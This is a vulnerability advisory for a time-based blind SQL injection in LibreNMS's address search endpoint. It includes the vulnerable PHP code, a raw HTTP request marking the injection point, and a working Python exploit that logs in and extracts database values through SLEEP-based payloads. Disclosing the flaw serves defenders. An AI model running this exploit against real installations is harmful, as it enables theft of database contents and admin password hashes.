CVE-2026-26990

Description

### Summary A time-based blind SQL injection vulnerability exists in `address-search.inc.php` via the `address` parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses. ### Details This vulnerability requires authentication and is exploitable by any authenticated user. The vulnerable endpoint is at `/ajax_table.php` with the following request displaying the injection point. ``` POST /ajax_table.php HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/search Cookie: laravel_session=[Authenticated user cookie] current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here> ``` Within `includes/html/table/address-search.inc.php`, the user-controlled `$prefix` variable derived from the `address` parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52. ```php // Lines 16-35, 51-53 $address = $vars['address'] ?? ''; $prefix = ''; $sort = trim((string) $sort); if (str_contains($address, '/')) { [$address, $prefix] = explode('/', $address, 2); } if ($search_type == 'ipv4') { $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D'; $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' '; if (! empty($address)) { $sql .= ' AND ipv4_address LIKE ?'; $param[] = "%$address%"; } if (! empty($prefix)) { $sql .= " AND ipv4_prefixlen='$prefix'"; } ...... if (! empty($prefix)) { $sql .= " AND ipv6_prefixlen = '$prefix'"; } ``` ### PoC The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of `SELECT CURRENT_USER()` from the database: ```python #!/usr/bin/python3 import requests import sys import re from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # Configured to be used with burpsuite on the default burpsuite port of 8080 proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} # When None is returned it means that all values have been retrieved from the queried value in the target DB def blind_binsearch_sqli(inj_str): try: a = range(32,126) start = 0 end = len(a) while start <= end: mid = (start + end) // 2 target_equal = inj_str.replace("[CHAR]", str(a[mid])) target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}") # Return ascii decimal value for storing to a local string buffer if condition(target_equal): return a[mid] # Use lower half of the "a" array elif condition(target_less): end = mid - 1 # Use upper half of the "a" array else: start = mid + 1 return None except IndexError: return None # Check injection result def condition(payload): exploit_data = { "current": "1", "rowCount": "50", "sort[hostname]": "asc", "searchPhrase": "", "id": "address-search", "search_type": "ipv4", "device_id": "1", "interface": "", "address": f"127.0.0.1/aa{payload}" } # Payload must be slotted in somewhere in this code payload_url = f"{url}/ajax_table.php" r = s.post(payload_url, data=exploit_data) elapsed_time_seconds = r.elapsed.total_seconds() # If response time is within sleep function delay range of +1 or -1 second the query returned "true" if (elapsed_time_seconds + 1) > (sleep_delay * 2) and (elapsed_time_seconds - 1) < (sleep_delay * 2): return True else: return False def get_length(inj): length = 0 print(f"(+) Getting the length of \"{inj}\"") while True: # MySQL #length_injection_string = f" AND LENGTH(({inj}))={str(length)}-- -" length_injection_string = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND '1'='1" bool_value = condition(length_injection_string) if bool_value == False: length += 1 else: return length def injection(inject_qry): extracted = "" length = get_length(inject_qry) print(f"Length of \"{inject_qry}\": {length}") print(f"(+) Retrieving the value for \"{inject_qry}\"") # +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted for i in range(1, length + 2): # MySQL injection_string = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND '1'='1" retrieved_value = blind_binsearch_sqli(injection_string) if retrieved_value: extracted += chr(retrieved_value) extracted_char = chr(retrieved_value) print(extracted_char, flush=True, end="") elif retrieved_value == None: print("\n(+) done!\n") return extracted global url global s global sleep_delay global username global password # Default sleep delay, due to injection query used the response time will be sleep_delay * 2 sleep_delay = 1.5 s = requests.Session() # HTTPS s.verify = False # Toggle debug proxy #s.proxies.update(proxies) url = "http://192.168.236.131" username = "tester2" password = "Adminbazinga" if len(sys.argv) > 1: url = sys.argv[1] if len(sys.argv) > 2: username = sys.argv[2] if len(sys.argv) > 3: password = sys.argv[3] if len(sys.argv) > 4: sleep_delay = float(sys.argv[4]) r = s.get(url + "/login") login_token = re.search(r"name=\"_token\"\s+value=\"([^\"]+)\"", r.text).group(1) login_data = { "_token": login_token, "username": username, "password": password, "submit": "" } r = s.post(url + "/login", data=login_data) # Example: python3 script.py http://127.0.0.1 username password 1.5 if __name__ == "__main__": injection("SELECT CURRENT_USER()") ``` Tester user role: <img width="771" height="154" alt="image" src="https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13" /> Example usage of PoC script: <img width="924" height="104" alt="image" src="https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960" /> ### Impact * Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques. * This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data. * An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.